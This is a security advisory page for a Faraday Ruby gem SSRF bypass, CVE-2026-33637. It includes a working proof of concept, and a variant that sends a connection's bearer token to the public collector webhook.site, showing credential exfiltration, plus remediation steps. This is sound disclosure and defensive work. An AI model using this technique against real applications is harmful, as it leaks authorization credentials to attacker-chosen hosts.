Skip to main content

Faraday Ruby Gem EUVDEUVD-2026-30966

| CVE-2026-33637 LOW
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-18 https://github.com/lostisland/faraday GHSA-5rv5-xj5j-3484

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 18, 2026 - 15:16 vuln.today
Analysis Generated
May 18, 2026 - 15:16 vuln.today

DescriptionCVE.org

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

  • Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
  • Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
  • Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

  • Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
  • Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), conn.post(...), or req.url(...)
  • Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

  1. Use the current repository checkout and load Faraday from lib/.
  2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
  3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
  4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

  • Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
  • Commands executed:
bash
$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
  • PoC code (inline):
ruby
require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body
  • Exit code: 0
  • stdout (relevant excerpt):
text
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
  • stderr (relevant excerpt):
text
N/A
  • Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

ruby
require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

  • Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
  • Existing CVE for the original string-based issue: CVE-2026-25765
  • Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
  • Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

AnalysisAI

Off-host request forgery in the Faraday Ruby HTTP client library (versions 2.0.0-2.14.1) allows a remote unauthenticated attacker who can influence the per-request target to redirect HTTP requests - along with connection-scoped Authorization headers - to an arbitrary attacker-controlled host. This is a bypass of the February 2026 patch for CVE-2026-25765 (GHSA-33mh-2634-fwr2): the prior fix sanitized String inputs to Faraday::Connection#build_exclusive_url but failed to handle URI objects, which Ruby's URI parser resolves differently. Publicly available exploit code (proof-of-concept) exists and was independently confirmed against an external HTTP collector, demonstrating real-world credential exfiltration.

Technical ContextAI

Faraday (pkg:rubygems/faraday) is a widely-used Ruby HTTP client library providing a connection abstraction with configurable base URLs and default headers. The vulnerability is rooted in Faraday::Connection#build_exclusive_url and Faraday::Request#url (in lib/faraday/connection.rb and lib/faraday/request.rb). When a URI object containing a protocol-relative path such as //evil.example/pwn is passed instead of a String, the host-scoping validation introduced for GHSA-33mh-2634-fwr2 is never invoked because it only operates on the String code path. Ruby's URI class treats protocol-relative references as having an explicit (non-nil) host component, so the resulting URL resolves to the attacker's host while preserving all connection-scoped headers. The root cause class is CWE-918 (Server-Side Request Forgery): server-side code constructs an outbound HTTP request to a destination controlled by the attacker rather than the trusted base URL.

RemediationAI

Upgrade Faraday to version 2.14.2 or later, which is the vendor-released patch per GHSA-5rv5-xj5j-3484 (https://github.com/lostisland/faraday/security/advisories/GHSA-5rv5-xj5j-3484). Run bundle update faraday and pin to >= 2.14.2 in your Gemfile. If an immediate upgrade is blocked, apply a compensating control in application code: before passing any user-controlled value to Faraday, parse it with URI.parse() and explicitly reject it if the host component is non-nil and does not match the expected base host - e.g., raise ArgumentError if URI.parse(target).host && URI.parse(target).host != expected_host. Additionally, block inputs matching the pattern ^// (protocol-relative URI prefix) at the input validation layer. Note that these application-level controls must be applied at every call site that passes user-influenced values to Faraday; they carry a maintenance burden and are inferior to upgrading. Rotating any bearer tokens or API keys that may have transited a Faraday connection in applications exposed to untrusted input should be considered given that credential exfiltration is the primary demonstrated impact.

Share

EUVD-2026-30966 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy